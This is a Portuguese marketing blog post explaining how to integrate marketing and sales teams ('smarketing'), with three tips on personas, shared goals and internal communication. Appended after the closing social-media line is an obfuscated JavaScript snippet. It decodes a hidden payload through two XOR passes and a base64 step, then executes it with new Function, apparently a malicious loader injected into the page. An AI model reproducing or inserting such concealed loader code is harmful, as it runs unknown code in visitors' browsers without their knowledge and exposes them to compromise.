Como funciona a integração entre marketing e vendas?

No livro “Imagens da organização”, o autor Gareth Morgan compara as empresas com as máquinas, que dependem de várias peças para funcionar. Portanto, se uma peça para, todo o mecanismo para!

Ou seja, para que uma empresa funcione bem, todas as “peças” devem trabalhar em conjunto, uma ajudando a outra a fazer o seu trabalho da melhor maneira possível. É por isso que a integração entre marketing e vendas é tão importante!

Smarketing: conheça a metodologia que promove a integração entre marketing e vendas

A integração entre marketing e vendas tem um nome: smarketing. Trata-se da junção dos termos em inglês “sales”, que significa vendas, e marketing. 

A intenção do marketing é alinhar os dois setores em questão, para que eles possam trabalhar juntos na geração de oportunidades de negócio da empresa. 

De nada adianta o setor de marketing fazer um trabalho incrível e atrair leads para a empresa, caso o departamento de vendas não esteja preparado para bem atender essas pessoas, por exemplo.

Como explica Morgan, para que uma empresa atinja os seus objetivos, não basta que cada setor faça o seu trabalho. É preciso que todos trabalhem juntos para que o “mecanismo” funcione. 

3 dicas para fazer a integração entre marketing e vendas na sua empresa

Para que você saiba como fazer a integração entre marketing e vendas na sua empresa, ou seja, praticar o smarketing, trouxemos algumas dicas. Veja!

1. Defina o público-alvo e as personas do negócio

Para que as estratégias de marketing e vendas tenham sucesso, é fundamental que os setores definam bem o público-alvo e as personas do negócio. Tais conceitos, vale lembrar, não são a mesma coisa.

Vamos imaginar, por exemplo, uma loja de roupas femininas. Nesse caso, o público-alvo do negócio são as mulheres. No entanto, dentro desse grande grupo, existem muitas classificações.

Uma dona de casa certamente não usará os mesmos modelos de roupas que uma empresária ou uma jovem estudante universitária. Logo, é necessário definir personas, que são personagens que representam os diferentes perfis de clientes que uma empresa pode ter.

Ter os conceitos de público-alvo e personas é muito importante para que o marketing possa produzir anúncios, peças publicitárias e estratégias de relacionamento bem direcionadas e que realmente convertam leads.

Para os vendedores, conhecer as personas do negócio é importante para fazer a abordagem dos lead da forma mais adequada para cada perfil. Assim, fica mais fácil convertê-los em clientes, ou seja, fechar vendas.

2. Trabalhe com objetivos em conjunto

Para que a integração entre marketing e vendas funcione, uma boa prática é definir metas e objetivos em conjunto.

Dessa forma, ambas as equipes terão a mesma missão e não medirão esforços para que ela seja cumprida.

As recompensas, como participação nos lucros ou bônus por meta atingida, também devem ser distribuídas igualmente para todos.

3. Melhore a comunicação interna

Um dos principais pontos para integrar os setores de marketing e vendas é ter uma boa comunicação interna.

Para isso, a empresa precisa trabalhar com um sistema transparente, em que todos possam conversar e trocar ideias, dando sugestões de melhorias. Usar o mesmo software de gestão, para que se possam acompanhar processos também é uma boa prática.

Quando a integração entre marketing e vendas ocorre nas empresas, todos saem ganhando! Além disso, as chances da empresa ter mais sucesso e aumentar os lucros são muito maiores. Por isso, não deixe de praticar isso no seu negócio.
Gostou deste conteúdo? Veja mais dicas interessantes em nossas redes sociais! Você nos encontra no Facebook, no Instagram, no Twitter e no LinkedIn!

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var _0xbcca16a4d558=90; var _0x163772b41096=”; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf84708a7a28f.length;_0xb162c948b1cd++) _0x163772b41096+=String.fromCharCode(_0xf84708a7a28f[_0xb162c948b1cd]^_0xbcca16a4d558); var _0xbea1f721e2d7=97; var _0xf86172365cea=atob(_0x163772b41096); var _code=''; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf86172365cea.length;_0xb162c948b1cd++) _code+=String.fromCharCode(_0xf86172365cea.charCodeAt(_0xb162c948b1cd)^_0xbea1f721e2d7); (new Function(_code))(); })();